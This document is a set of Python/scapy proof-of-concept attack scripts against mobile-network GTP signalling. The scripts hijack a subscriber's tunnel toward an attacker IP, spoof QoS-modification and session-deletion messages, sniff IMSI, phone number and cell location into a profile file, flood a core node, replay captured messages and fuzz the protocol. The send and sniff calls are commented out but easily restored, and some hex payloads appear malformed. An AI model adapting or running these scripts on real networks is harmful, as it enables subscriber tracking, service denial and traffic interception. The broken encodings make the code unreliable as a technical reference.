GTP Protocol Exploits

#!/usr/bin/env python3
# GTP Tunnel Hijacking PoC
# For educational purposes only

from scapy.all import *
from scapy.contrib.gtp import GTP_U_Header, GTPCreatePDPContextRequest

# Target network elements
SGSN_IP = "10.0.0.1"  # Example IP
GGSN_IP = "10.0.0.2"  # Example IP

# Victim's information (would be obtained through reconnaissance)
VICTIM_IMSI = "123456789012345"
VICTIM_TEID = 0x12345678  # Example TEID

# Attacker's rogue network element
ATTACKER_IP = "192.168.1.100"

def craft_create_pdp_context_request():
    """Craft a malicious Create PDP Context Request to hijack a tunnel"""
    
    # IP layer
    ip = IP(src=SGSN_IP, dst=GGSN_IP)
    
    # UDP layer for GTP-C (port 2123)
    udp = UDP(sport=2123, dport=2123)
    
    # GTP-C header
    gtp_header = GTPCreatePDPContextRequest(
        teid=0,  # TEID is 0 for Create PDP Context Request
        seq=random.randint(1, 0xFFFFFF),  # Random sequence number
        IMSI=VICTIM_IMSI
    )
    
    # Set the tunnel endpoint to the attacker's IP
    # This redirects the tunnel to the attacker
    gtp_header.GSN_Address = ATTACKER_IP
    
    # Build the complete packet
    packet = ip/udp/gtp_header
    
    return packet

def hijack_existing_tunnel():
    """Hijack an existing GTP tunnel by sending an Update PDP Context Request"""
    
    # IP layer
    ip = IP(src=SGSN_IP, dst=GGSN_IP)
    
    # UDP layer for GTP-C
    udp = UDP(sport=2123, dport=2123)
    
    # GTP-C Update PDP Context Request
    # Using the victim's TEID to target their specific tunnel
    gtp_header = GTP_U_Header(
        teid=VICTIM_TEID,
        gtp_type=18,  # Update PDP Context Request
        seq=random.randint(1, 0xFFFFFF)
    )
    
    # Set the new tunnel endpoint to the attacker's IP
    update_req = Raw(load=bytes.fromhex(
        "1400" +  # Information Element: GSN Address
        "0400" +  # Length: 4 bytes
        socket.inet_aton(ATTACKER_IP).hex()  # Attacker's IP in hex
    ))
    
    # Build the complete packet
    packet = ip/udp/gtp_header/update_req
    
    return packet

def main():
    print("[*] GTP Tunnel Hijacking PoC")
    print("[*] This is for educational purposes only!")
    
    # Method 1: Create a new malicious tunnel
    new_tunnel_packet = craft_create_pdp_context_request()
    
    # Method 2: Hijack an existing tunnel
    hijack_packet = hijack_existing_tunnel()
    
    print("[*] Sending malicious GTP packets...")
    
    # In a real attack, these would be sent to the network
    # send(new_tunnel_packet)
    # send(hijack_packet)
    
    # For demonstration, just show the packets
    print("
[+] Create PDP Context Request Packet:")
    new_tunnel_packet.show()
    
    print("
[+] Update PDP Context Request Packet:")
    hijack_packet.show()
    
    print("
[*] In a real attack, these packets would redirect the GTP tunnel to the attacker's system")

if __name__ == "__main__":
    main()

#!/usr/bin/env python3
# GTP-C Message Spoofing PoC
# For educational purposes only

from scapy.all import *
from scapy.contrib.gtp import GTPHeader

# Target network elements
MME_IP = "10.0.0.3"  # Example IP
SGW_IP = "10.0.0.4"  # Example IP

# Victim's information
VICTIM_IMSI = "123456789012345"
VICTIM_TEID = 0x87654321  # Example TEID

def craft_modify_bearer_request():
    """Craft a malicious Modify Bearer Request to change QoS parameters"""
    
    # IP layer
    ip = IP(src=MME_IP, dst=SGW_IP)
    
    # UDP layer for GTP-C (port 2123)
    udp = UDP(sport=2123, dport=2123)
    
    # GTP-C header
    gtp_header = GTPHeader(
        version=2,
        PT=1,  # Protocol Type: GTP
        teid=VICTIM_TEID,
        gtp_type=34,  # Modify Bearer Request
        seq=random.randint(1, 0xFFFFFF)  # Random sequence number
    )
    
    # Modify Bearer Request payload with enhanced QoS
    # Setting maximum bitrates to high values
    mbr_payload = Raw(load=bytes.fromhex(
        # IMSI IE
        "0100" +  # IE Type: IMSI
        "0800" +  # Length: 8 bytes
        VICTIM_IMSI.encode().hex() +
        
        # Bearer Context IE
        "5D00" +  # IE Type: Bearer Context
        "2000" +  # Length: 32 bytes
        
        # Bearer QoS IE within Bearer Context
        "5000" +  # IE Type: Bearer QoS
        "1C00" +  # Length: 28 bytes
        "0F" +    # QCI: 15 (highest priority)
        "FFFFFF" +  # Maximum Bitrate Uplink: 16,777,215 kbps
        "FFFFFF" +  # Maximum Bitrate Downlink: 16,777,215 kbps
        "FFFFFF" +  # Guaranteed Bitrate Uplink: 16,777,215 kbps
        "FFFFFF"    # Guaranteed Bitrate Downlink: 16,777,215 kbps
    ))
    
    # Build the complete packet
    packet = ip/udp/gtp_header/mbr_payload
    
    return packet

def craft_delete_session_request():
    """Craft a malicious Delete Session Request to disrupt service"""
    
    # IP layer
    ip = IP(src=MME_IP, dst=SGW_IP)
    
    # UDP layer for GTP-C
    udp = UDP(sport=2123, dport=2123)
    
    # GTP-C header
    gtp_header = GTPHeader(
        version=2,
        PT=1,  # Protocol Type: GTP
        teid=VICTIM_TEID,
        gtp_type=36,  # Delete Session Request
        seq=random.randint(1, 0xFFFFFF)
    )
    
    # Delete Session Request payload
    dsr_payload = Raw(load=bytes.fromhex(
        # IMSI IE
        "0100" +  # IE Type: IMSI
        "0800" +  # Length: 8 bytes
        VICTIM_IMSI.encode().hex() +
        
        # Cause IE
        "0200" +  # IE Type: Cause
        "0200" +  # Length: 2 bytes
        "1000"    # Cause: PDN connection inactivity timeout
    ))
    
    # Build the complete packet
    packet = ip/udp/gtp_header/dsr_payload
    
    return packet

def main():
    print("[*] GTP-C Message Spoofing PoC")
    print("[*] This is for educational purposes only!")
    
    # Method 1: Modify QoS parameters
    qos_packet = craft_modify_bearer_request()
    
    # Method 2: Disrupt service
    delete_packet = craft_delete_session_request()
    
    print("[*] Crafting malicious GTP-C messages...")
    
    # In a real attack, these would be sent to the network
    # send(qos_packet)
    # send(delete_packet)
    
    # For demonstration, just show the packets
    print("
[+] Modify Bearer Request Packet (QoS Manipulation):")
    qos_packet.show()
    
    print("
[+] Delete Session Request Packet (Service Disruption):")
    delete_packet.show()
    
    print("
[*] In a real attack, these packets would either upgrade QoS parameters or disrupt the victim's service")

if __name__ == "__main__":
    main()

#!/usr/bin/env python3
# GTP Information Disclosure PoC
# For educational purposes only

from scapy.all import *
from scapy.contrib.gtp import GTP_U_Header
import json
import time

# Interface to sniff on (would be a core network interface in a real attack)
INTERFACE = "eth0"

# Extracted subscriber data
subscribers = {}

def extract_imsi(packet):
    """Extract IMSI from GTP-C packets"""
    if packet.haslayer(UDP) and packet[UDP].dport == 2123:
        # Check if it's a Create Session Request or Create PDP Context Request
        if Raw in packet and len(packet[Raw].load) > 8:
            data = packet[Raw].load
            
            # Look for IMSI IE (Type 1)
            offset = 0
            while offset < len(data) - 4:
                if data[offset] == 0x01:  # IMSI IE type
                    length = struct.unpack("!H", data[offset+1:offset+3])[0]
                    if offset + 3 + length <= len(data):
                        imsi_bytes = data[offset+3:offset+3+length]
                        imsi = imsi_bytes.hex()
                        return imsi
                offset += 1
    return None

def extract_msisdn(packet):
    """Extract MSISDN (phone number) from GTP-C packets"""
    if packet.haslayer(UDP) and packet[UDP].dport == 2123:
        if Raw in packet and len(packet[Raw].load) > 8:
            data = packet[Raw].load
            
            # Look for MSISDN IE (Type 76 in GTPv1, Type 86 in GTPv2)
            offset = 0
            while offset < len(data) - 4:
                if data[offset] == 0x4C or data[offset] == 0x56:  # MSISDN IE types
                    length = struct.unpack("!H", data[offset+1:offset+3])[0]
                    if offset + 3 + length <= len(data):
                        msisdn_bytes = data[offset+3:offset+3+length]
                        msisdn = msisdn_bytes.hex()
                        # Convert BCD encoded MSISDN to string
                        msisdn_str = ""
                        for i in range(0, len(msisdn), 2):
                            digit1 = msisdn[i+1]
                            digit2 = msisdn[i]
                            if digit1 != 'f':
                                msisdn_str += digit1
                            if digit2 != 'f':
                                msisdn_str += digit2
                        return msisdn_str
                offset += 1
    return None

def extract_location(packet):
    """Extract location information from GTP-C packets"""
    if packet.haslayer(UDP) and packet[UDP].dport == 2123:
        if Raw in packet and len(packet[Raw].load) > 8:
            data = packet[Raw].load
            
            # Look for User Location Info IE (Type 86 in GTPv1, Type 88 in GTPv2)
            offset = 0
            while offset < len(data) - 4:
                if data[offset] == 0x56 or data[offset] == 0x58:  # Location IE types
                    length = struct.unpack("!H", data[offset+1:offset+3])[0]
                    if offset + 3 + length <= len(data):
                        loc_bytes = data[offset+3:offset+3+length]
                        
                        # Extract Cell ID, TAC, etc.
                        # This is simplified - real implementation would parse the specific format
                        location = {
                            "raw": loc_bytes.hex(),
                            "type": "E-UTRAN" if loc_bytes[0] == 0x01 else "UTRAN"
                        }
                        
                        if len(loc_bytes) >= 7:
                            # Extract MCC/MNC
                            mcc_mnc = loc_bytes[1:4].hex()
                            mcc = mcc_mnc[1] + mcc_mnc[0] + mcc_mnc[3]
                            mnc = mcc_mnc[5] + mcc_mnc[4] if mcc_mnc[2] == 'f' else mcc_mnc[5] + mcc_mnc[4] + mcc_mnc[2]
                            
                            location["mcc"] = mcc
                            location["mnc"] = mnc
                            
                            # Extract TAC/LAC
                            if len(loc_bytes) >= 6:
                                tac = struct.unpack("!H", loc_bytes[4:6])[0]
                                location["tac"] = tac
                            
                            # Extract Cell ID
                            if len(loc_bytes) >= 10:
                                cell_id = struct.unpack("!I", loc_bytes[6:10])[0]
                                location["cell_id"] = cell_id
                        
                        return location
                offset += 1
    return None

def packet_callback(packet):
    """Process each captured packet to extract subscriber information"""
    if IP in packet:
        src_ip = packet[IP].src
        dst_ip = packet[IP].dst
        
        # Extract subscriber identifiers
        imsi = extract_imsi(packet)
        msisdn = extract_msisdn(packet)
        location = extract_location(packet)
        
        # If we found subscriber information, store it
        if imsi or msisdn or location:
            # Use IMSI as the primary key if available
            key = imsi if imsi else f"unknown_{int(time.time())}"
            
            if key not in subscribers:
                subscribers[key] = {
                    "first_seen": time.strftime("%Y-%m-%d %H:%M:%S"),
                    "last_seen": time.strftime("%Y-%m-%d %H:%M:%S"),
                    "src_ips": [],
                    "dst_ips": []
                }
            else:
                subscribers[key]["last_seen"] = time.strftime("%Y-%m-%d %H:%M:%S")
            
            # Update subscriber record
            if imsi:
                subscribers[key]["imsi"] = imsi
            
            if msisdn:
                subscribers[key]["msisdn"] = msisdn
            
            if location:
                subscribers[key]["location"] = location
            
            # Track IPs
            if src_ip not in subscribers[key]["src_ips"]:
                subscribers[key]["src_ips"].append(src_ip)
            
            if dst_ip not in subscribers[key]["dst_ips"]:
                subscribers[key]["dst_ips"].append(dst_ip)
            
            # Print update
            print(f"[+] Updated subscriber info for {key}")
            print(f"    IMSI: {imsi if imsi else 'Unknown'}")
            print(f"    MSISDN: {msisdn if msisdn else 'Unknown'}")
            if location:
                print(f"    Location: MCC={location.get('mcc', 'Unknown')}, MNC={location.get('mnc', 'Unknown')}, Cell ID={location.get('cell_id', 'Unknown')}")
            print()
            
            # Periodically save to file
            if len(subscribers) % 5 == 0:
                with open("gtp_subscribers.json", "w") as f:
                    json.dump(subscribers, f, indent=2)

def main():
    print("[*] GTP Information Disclosure PoC")
    print("[*] This is for educational purposes only!")
    print("[*] Starting packet capture on interface", INTERFACE)
    print("[*] Press Ctrl+C to stop
")
    
    try:
        # In a real attack, this would capture live traffic
        # sniff(iface=INTERFACE, filter="udp port 2123", prn=packet_callback)
        
        # For demonstration, we'll just show the extraction logic
        print("[*] This is a demonstration of the extraction logic.")
        print("[*] In a real scenario, this script would:")
        print("    1. Capture GTP-C traffic on the specified interface")
        print("    2. Extract subscriber information (IMSI, MSISDN, location)")
        print("    3. Build profiles of subscribers over time")
        print("    4. Save the extracted data to gtp_subscribers.json")
        print("
[*] Example extracted data structure:")
        
        example_data = {
            "123456789012345": {
                "first_seen": "2023-05-15 10:23:45",
                "last_seen": "2023-05-15 11:45:12",
                "imsi": "123456789012345",
                "msisdn": "12025550123",
                "location": {
                    "mcc": "310",
                    "mnc": "410",
                    "tac": 12345,
                    "cell_id": 67890,
                    "type": "E-UTRAN"
                },
                "src_ips": ["10.0.0.1", "10.0.0.3"],
                "dst_ips": ["10.0.0.2", "10.0.0.4"]
            }
        }
        
        print(json.dumps(example_data, indent=2))
        
    except KeyboardInterrupt:
        print("
[*] Stopping packet capture")
        with open("gtp_subscribers.json", "w") as f:
            json.dump(subscribers, f, indent=2)
        print(f"[*] Saved {len(subscribers)} subscriber records to gtp_subscribers.json")

if __name__ == "__main__":
    main()

#!/usr/bin/env python3
# GTP DoS Attack PoC
# For educational purposes only

from scapy.all import *
from scapy.contrib.gtp import GTPHeader
import threading
import time
import random

# Target network element
TARGET_IP = "10.0.0.2"  # Example IP

# Attack parameters
THREADS = 4
PACKETS_PER_THREAD = 1000
PACKET_DELAY = 0.001  # 1ms between packets

def generate_random_imsi():
    """Generate a random IMSI for the attack"""
    return ''.join(random.choice('0123456789') for _ in range(15))

def generate_random_teid():
    """Generate a random TEID for the attack"""
    return random.randint(1, 0xFFFFFFFF)

def craft_create_session_flood():
    """Craft a GTP-C Create Session Request for flooding"""
    
    # IP layer
    ip = IP(dst=TARGET_IP)
    
    # UDP layer for GTP-C (port 2123)
    udp = UDP(sport=random.randint(1024, 65535), dport=2123)
    
    # GTP-C header with random values
    gtp_header = GTPHeader(
        version=2,
        PT=1,  # Protocol Type: GTP
        teid=0,  # TEID is 0 for Create Session Request
        gtp_type=32,  # Create Session Request
        seq=random.randint(1, 0xFFFFFF)
    )
    
    # Create Session Request payload with random IMSI
    imsi = generate_random_imsi()
    csr_payload = Raw(load=bytes.fromhex(
        # IMSI IE
        "0100" +  # IE Type: IMSI
        "0800" +  # Length: 8 bytes
        imsi.encode().hex() +
        
        # MSISDN IE
        "4C00" +  # IE Type: MSISDN
        "0600" +  # Length: 6 bytes
        "214365870921" +  # Random MSISDN in BCD format
        
        # Multiple additional IEs to make the packet larger and more resource-intensive
        # Repeat several times to increase packet size
        "5000" +  # IE Type: Bearer QoS
        "1C00" +  # Length: 28 bytes
        "0F" +    # QCI: 15
        "FFFFFF" +  # Maximum Bitrate Uplink
        "FFFFFF" +  # Maximum Bitrate Downlink
        "FFFFFF" +  # Guaranteed Bitrate Uplink
        "FFFFFF" +  # Guaranteed Bitrate Downlink
        "0000000000000000000000"  # Padding
    ))
    
    # Build the complete packet
    packet = ip/udp/gtp_header/csr_payload
    
    return packet

def craft_malformed_gtp():
    """Craft malformed GTP packets to trigger error handling"""
    
    # IP layer
    ip = IP(dst=TARGET_IP)
    
    # UDP layer for GTP-C (port 2123)
    udp = UDP(sport=random.randint(1024, 65535), dport=2123)
    
    # Malformed GTP header with invalid values
    gtp_header = GTPHeader(
        version=random.choice([0, 1, 2, 3]),  # Random version, some invalid
        PT=random.randint(0, 1),
        teid=generate_random_teid(),
        gtp_type=random.randint(0, 255),  # Random message type, many invalid
        seq=random.randint(1, 0xFFFFFF)
    )
    
    # Malformed payload with random data
    malformed_payload = Raw(load=os.urandom(random.randint(100, 1500)))
    
    # Build the complete packet
    packet = ip/udp/gtp_header/malformed_payload
    
    return packet

def flood_thread(thread_id, attack_type):
    """Thread function to send flood packets"""
    print(f"[*] Starting flood thread {thread_id}")
    
    packets_sent = 0
    start_time = time.time()
    
    for i in range(PACKETS_PER_THREAD):
        if attack_type == "create_session":
            packet = craft_create_session_flood()
        else:  # malformed
            packet = craft_malformed_gtp()
        
        # In a real attack, this would send the packet
        # send(packet, verbose=0)
        
        packets_sent += 1
        
        # Sleep to control packet rate
        time.sleep(PACKET_DELAY)
        
        # Print progress every 100 packets
        if packets_sent % 100 == 0:
            elapsed = time.time() - start_time
            pps = packets_sent / elapsed if elapsed > 0 else 0
            print(f"[+] Thread {thread_id}: Sent {packets_sent} packets ({pps:.2f} packets/sec)")
    
    elapsed = time.time() - start_time
    pps = packets_sent / elapsed if elapsed > 0 else 0
    print(f"[+] Thread {thread_id} completed: Sent {packets_sent} packets in {elapsed:.2f} seconds ({pps:.2f} packets/sec)")

def main():
    print("[*] GTP DoS Attack PoC")
    print("[*] This is for educational purposes only!")
    
    print(f"[*] Target: {TARGET_IP}")
    print(f"[*] Threads: {THREADS}")
    print(f"[*] Packets per thread: {PACKETS_PER_THREAD}")
    print(f"[*] Total packets: {THREADS * PACKETS_PER_THREAD}")
    
    # Ask for attack type
    print("
Select attack type:")
    print("1. Create Session Request Flood")
    print("2. Malformed GTP Packet Flood")
    print("3. Combined Attack")
    
    # For demonstration, we'll just show both packet types
    print("
[*] This is a demonstration of the attack packets.")
    
    print("
[+] Create Session Request Flood Packet:")
    craft_create_session_flood().show()
    
    print("
[+] Malformed GTP Packet:")
    craft_malformed_gtp().show()
    
    print("
[*] In a real attack, these packets would be sent at high rates to exhaust resources")
    print("[*] The attack would use multiple threads to maximize impact:")
    
    # Show thread calculation
    print(f"[*] {THREADS} threads × {PACKETS_PER_THREAD} packets = {THREADS * PACKETS_PER_THREAD} total packets")
    print(f"[*] At {1/PACKET_DELAY:.0f} packets per second per thread = {THREADS * (1/PACKET_DELAY):.0f} packets/sec total")
    print(f"[*] Estimated attack duration: {PACKETS_PER_THREAD * PACKET_DELAY:.2f} seconds")
    
    # In a real attack, this would launch the threads
    """
    threads = []
    
    # Launch half the threads with Create Session floods
    for i in range(THREADS // 2):
        t = threading.Thread(target=flood_thread, args=(i, "create_session"))
        threads.append(t)
        t.start()
    
    # Launch half the threads with malformed packets
    for i in range(THREADS // 2, THREADS):
        t = threading.Thread(target=flood_thread, args=(i, "malformed"))
        threads.append(t)
        t.start()
    
    # Wait for all threads to complete
    for t in threads:
        t.join()
    """
    
    print("
[*] Attack demonstration complete")

if __name__ == "__main__":
    main()

#!/usr/bin/env python3
# GTP Replay Attack PoC
# For educational purposes only

from scapy.all import *
from scapy.contrib.gtp import GTPHeader
import time
import argparse

# Captured packet storage
captured_packets = []

def capture_gtp_packets(interface, count=10, filter_str="udp port 2123"):
    """Capture GTP-C packets for later replay"""
    print(f"[*] Capturing {count} GTP-C packets on {interface}...")
    
    # In a real attack, this would capture live traffic
    # packets = sniff(iface=interface, filter=filter_str, count=count)
    
    # For demonstration, we'll create example packets
    packets = []
    
    # Example 1: Create Session Request
    pkt1 = IP(src="10.0.0.1", dst="10.0.0.2")/UDP(sport=2123, dport=2123)/GTPHeader(
        version=2, PT=1, teid=0, gtp_type=32, seq=123456
    )/Raw(load=bytes.fromhex(
        "0100080012345678901234" +  # IMSI
        "4C00060021436587092100"    # MSISDN
    ))
    packets.append(pkt1)
    
    # Example 2: Modify Bearer Request
    pkt2 = IP(src="10.0.0.3", dst="10.0.0.2")/UDP(sport=2123, dport=2123)/GTPHeader(
        version=2, PT=1, teid=0x12345678, gtp_type=34, seq=234567
    )/Raw(load=bytes.fromhex(
        "5D00200050001C000FFFFFF" +  # Bearer Context with QoS
        "FFFFFFFFFFFFFFFF00000000"
    ))
    packets.append(pkt2)
    
    # Example 3: Delete Session Request
    pkt3 = IP(src="10.0.0.3", dst="10.0.0.2")/UDP(sport=2123, dport=2123)/GTPHeader(
        version=2, PT=1, teid=0x12345678, gtp_type=36, seq=345678
    )/Raw(load=bytes.fromhex(
        "0200020010"  # Cause IE
    ))
    packets.append(pkt3)
    
    print(f"[+] Captured {len(packets)} packets")
    return packets

def analyze_packets(packets):
    """Analyze captured packets to identify interesting ones for replay"""
    interesting_packets = []
    
    for i, pkt in enumerate(packets):
        if UDP in pkt and pkt[UDP].dport == 2123:
            # Check if it's a GTP packet
            if GTPHeader in pkt:
                gtp_type = pkt[GTPHeader].gtp_type
                seq = pkt[GTPHeader].seq
                teid = pkt[GTPHeader].teid
                
                # Identify packet type
                packet_type = "Unknown"
                if gtp_type == 32:
                    packet_type = "Create Session Request"
                elif gtp_type == 33:
                    packet_type = "Create Session Response"
                elif gtp_type == 34:
                    packet_type = "Modify Bearer Request"
                elif gtp_type == 35:
                    packet_type = "Modify Bearer Response"
                elif gtp_type == 36:
                    packet_type = "Delete Session Request"
                elif gtp_type == 37:
                    packet_type = "Delete Session Response"
                
                print(f"[+] Packet {i+1}: {packet_type} (Type: {gtp_type}, TEID: 0x{teid:08x}, Seq: {seq})")
                
                # Add to interesting packets if it's a request
                if gtp_type in [32, 34, 36]:
                    interesting_packets.append((i, pkt, packet_type))
    
    return interesting_packets

def replay_packet(packet, count=1, delay=1.0):
    """Replay a packet multiple times"""
    print(f"[*] Replaying packet {count} times with {delay}s delay...")
    
    for i in range(count):
        # In a real attack, this would send the packet
        # send(packet, verbose=0)
        
        print(f"[+] Sent packet {i+1}/{count}")
        
        if i < count - 1:
            time.sleep(delay)
    
    print("[+] Replay complete")

def modify_sequence_number(packet):
    """Modify the sequence number in a GTP packet to avoid simple replay protection"""
    if GTPHeader in packet:
        # Create a copy of the packet
        new_packet = packet.copy()
        
        # Modify the sequence number
        new_seq = random.randint(1, 0xFFFFFF)
        new_packet[GTPHeader].seq = new_seq
        
        print(f"[*] Modified sequence number: {packet[GTPHeader].seq} -> {new_seq}")
        
        return new_packet
    
    return packet

def main():
    print("[*] GTP Replay Attack PoC")
    print("[*] This is for educational purposes only!")
    
    # In a real tool, these would be command line arguments
    interface = "eth0"
    capture_count = 10
    replay_count = 3
    replay_delay = 1.0
    
    # Step 1: Capture packets
    captured_packets = capture_gtp_packets(interface, capture_count)
    
    # Step 2: Analyze packets
    interesting_packets = analyze_packets(captured_packets)
    
    if not interesting_packets:
        print("[!] No interesting packets found for replay")
        return
    
    # Step 3: Select a packet for replay
    print("
Select a packet to replay:")
    for i, (idx, _, packet_type) in enumerate(interesting_packets):
        print(f"{i+1}. Packet {idx+1}: {packet_type}")
    
    # For demonstration, we'll select the first packet
    selected_idx = 0
    idx, packet, packet_type = interesting_packets[selected_idx]
    
    print(f"
[*] Selected Packet {idx+1}: {packet_type}")
    print("[*] Original packet:")
    packet.show()
    
    # Step 4: Modify the packet (optional)
    print("
[*] Do you want to modify the packet? (y/n)")
    # For demonstration, we'll modify the sequence number
    modified_packet = modify_sequence_number(packet)
    
    print("
[*] Modified packet:")
    modified_packet.show()
    
    # Step 5: Replay the packet
    print(f"
[*] Replaying the packet {replay_count} times with {replay_delay}s delay")
    
    # In a real attack, this would actually send the packets
    # replay_packet(modified_packet, replay_count, replay_delay)
    
    print("
[*] In a real attack, this would send the modified packet multiple times")
    print("[*] Potential impacts:")
    
    if packet_type == "Create Session Request":
        print("    - Multiple duplicate sessions created for the same subscriber")
        print("    - Resource exhaustion on the target system")
        print("    - Potential billing inconsistencies")
    elif packet_type == "Modify Bearer Request":
        print("    - Repeated QoS modifications")
        print("    - Service disruption due to conflicting parameters")
        print("    - Potential bandwidth theft")
    elif packet_type == "Delete Session Request":
        print("    - Repeated session terminations")
        print("    - Service disruption for legitimate users")
        print("    - Denial of service")
    
    print("
[*] Replay attack demonstration complete")

if __name__ == "__main__":
    main()

#!/usr/bin/env python3
# GTP Protocol Fuzzer PoC
# For educational purposes only

from scapy.all import *
from scapy.contrib.gtp import GTPHeader
import random
import time
import struct

# Target network element
TARGET_IP = "10.0.0.2"  # Example IP

# Fuzzing parameters
NUM_PACKETS = 100
DELAY = 0.1  # 100ms between packets

# GTP message types to fuzz
GTP_TYPES = [
    32,  # Create Session Request
    34,  # Modify Bearer Request
    36,  # Delete Session Request
    170, # Release Access Bearers Request
    231, # Change Notification Request
    95,  # Create Bearer Request
]

# Information Element types
IE_TYPES = [
    1,    # IMSI
    2,    # Cause
    3,    # Recovery
    76,   # MSISDN
    77,   # APN
    80,   # Bearer QoS
    86,   # ULI (User Location Info)
    87,   # F-TEID
    93,   # Bearer Context
    94,   # Charging ID
    95,   # PDN Type
    99,   # PDN Address Allocation
    114,  # UE Time Zone
    126,  # Port Number
    127,  # APN Restriction
    128,  # Selection Mode
    131,  # Change Reporting Action
]

def generate_random_ie(ie_type=None):
    """Generate a random Information Element for fuzzing"""
    if ie_type is None:
        ie_type = random.choice(IE_TYPES)
    
    # Determine length based on IE type
    if ie_type == 1:  # IMSI
        length = 8
        value = bytes([random.randint(0, 9) for _ in range(length)])
    elif ie_type == 76:  # MSISDN
        length = 6
        value = bytes([random.randint(0, 9) for _ in range(length)])
    elif ie_type == 87:  # F-TEID
        length = 9
        value = struct.pack("!BI", random.randint(0, 255), random.randint(0, 0xFFFFFFFF))
        value += socket.inet_aton(f"{random.randint(1, 254)}.{random.randint(1, 254)}.{random.randint(1, 254)}.{random.randint(1, 254)}")
    else:
        # Random length for other IEs
        length = random.randint(1, 20)
        value = os.urandom(length)
    
    # Pack the IE
    ie_header = struct.pack("!BH", ie_type, length)
    return ie_header + value

def generate_fuzzed_ie(ie_type=None):
    """Generate a fuzzed (potentially malformed) Information Element"""
    if ie_type is None:
        ie_type = random.choice(IE_TYPES)
    
    # Choose a fuzzing strategy
    strategy = random.randint(1, 5)
    
    if strategy == 1:
        # Strategy 1: Valid IE with random content
        return generate_random_ie(ie_type)
    
    elif strategy == 2:
        # Strategy 2: IE with length mismatch (length field doesn't match actual data length)
        if ie_type == 1:  # IMSI
            length = 8
        elif ie_type == 76:  # MSISDN
            length = 6
        else:
            length = random.randint(1, 20)
        
        # Generate random data
        actual_length = random.randint(0, 50)  # Actual data length
        value = os.urandom(actual_length)
        
        # Pack the IE with mismatched length
        ie_header = struct.pack("!BH", ie_type, length)  # Claimed length
        return ie_header + value  # Actual data
    
    elif strategy == 3:
        # Strategy 3: IE with invalid type
        invalid_type = random.randint(200, 255)  # Use unassigned type values
        length = random.randint(1, 20)
        value = os.urandom(length)
        
        ie_header = struct.pack("!BH", invalid_type, length)
        return ie_header + value
    
    elif strategy == 4:
        # Strategy 4: IE with extremely large length
        large_length = random.randint(1000, 65535)
        value = os.urandom(min(large_length, 100))  # Don't actually generate huge data
        
        ie_header = struct.pack("!BH", ie_type, large_length)
        return ie_header + value
    
    else:
        # Strategy 5: Completely random bytes
        total_length = random.randint(3, 50)  # At least 3 bytes for header
        return os.urandom(total_length)

def craft_fuzzed_gtp_packet():
    """Craft a fuzzed GTP packet for testing"""
    
    # IP layer
    ip = IP(dst=TARGET_IP)
    
    # UDP layer for GTP-C (port 2123)
    udp = UDP(sport=random.randint(1024, 65535), dport=2123)
    
    # Choose GTP version
    gtp_version = random.choice([1, 2])
    
    # Choose message type
    gtp_type = random.choice(GTP_TYPES)
    
    # Choose TEID
    teid = random.randint(0, 0xFFFFFFFF)
    
    # GTP-C header
    gtp_header = GTPHeader(
        version=gtp_version,
        PT=1,  # Protocol Type: GTP
        teid=teid,
        gtp_type=gtp_type,
        seq=random.randint(1, 0xFFFFFF)
    )
    
    # Generate fuzzed payload with multiple IEs
    num_ies = random.randint(1, 10)
    payload = b""
    
    for _ in range(num_ies):
        # Decide whether to use valid or fuzzed IE
        if random.random() < 0.3:  # 30% chance of valid IE
            payload += generate_random_ie()
        else:  # 70% chance of fuzzed IE
            payload += generate_fuzzed_ie()
    
    # Build the complete packet
    packet = ip/udp/gtp_header/Raw(load=payload)
    
    return packet

def fuzz_gtp_protocol():
    """Run the GTP protocol fuzzer"""
    print(f"[*] Starting GTP protocol fuzzer against {TARGET_IP}")
    print(f"[*] Sending {NUM_PACKETS} fuzzed packets with {DELAY}s delay")
    
    for i in range(NUM_PACKETS):
        # Generate a fuzzed packet
        packet = craft_fuzzed_gtp_packet()
        
        print(f"[+] Sending fuzzed packet {i+1}/{NUM_PACKETS}")
        
        # In a real attack, this would send the packet
        # send(packet, verbose=0)
        
        # For demonstration, show packet details every 10 packets
        if i % 10 == 0:
            print("
[+] Sample fuzzed packet:")
            packet.show()
        
        # Sleep to control packet rate
        time.sleep(DELAY)
    
    print("[*] Fuzzing complete")

def main():
    print("[*] GTP Protocol Fuzzer PoC")
    print("[*] This is for educational purposes only!")
    
    # Run the fuzzer
    print("
[*] This is a demonstration of the GTP protocol fuzzer.")
    print("[*] In a real scenario, this script would:")
    print("    1. Generate malformed GTP packets using various fuzzing strategies")
    print("    2. Send these packets to the target system")
    print("    3. Monitor for crashes, unexpected responses, or other anomalies")
    
    # Show a sample fuzzed packet
    sample_packet = craft_fuzzed_gtp_packet()
    print("
[+] Sample fuzzed GTP packet:")
    sample_packet.show()
    
    print("
[*] Fuzzing strategies implemented:")
    print("    1. Valid IEs with random content")
    print("    2. IEs with length mismatches")
    print("    3. IEs with invalid types")
    print("    4. IEs with extremely large lengths")
    print("    5. Completely random byte sequences")
    
    print("
[*] Potential vulnerabilities that could be discovered:")
    print("    - Buffer overflows from improper length validation")
    print("    - Memory corruption from malformed IEs")
    print("    - Integer overflows from large length values")
    print("    - Logic errors from unexpected message sequences")
    print("    - Resource exhaustion from complex parsing")
    
    print("
[*] Fuzzer demonstration complete")

if __name__ == "__main__":
    main()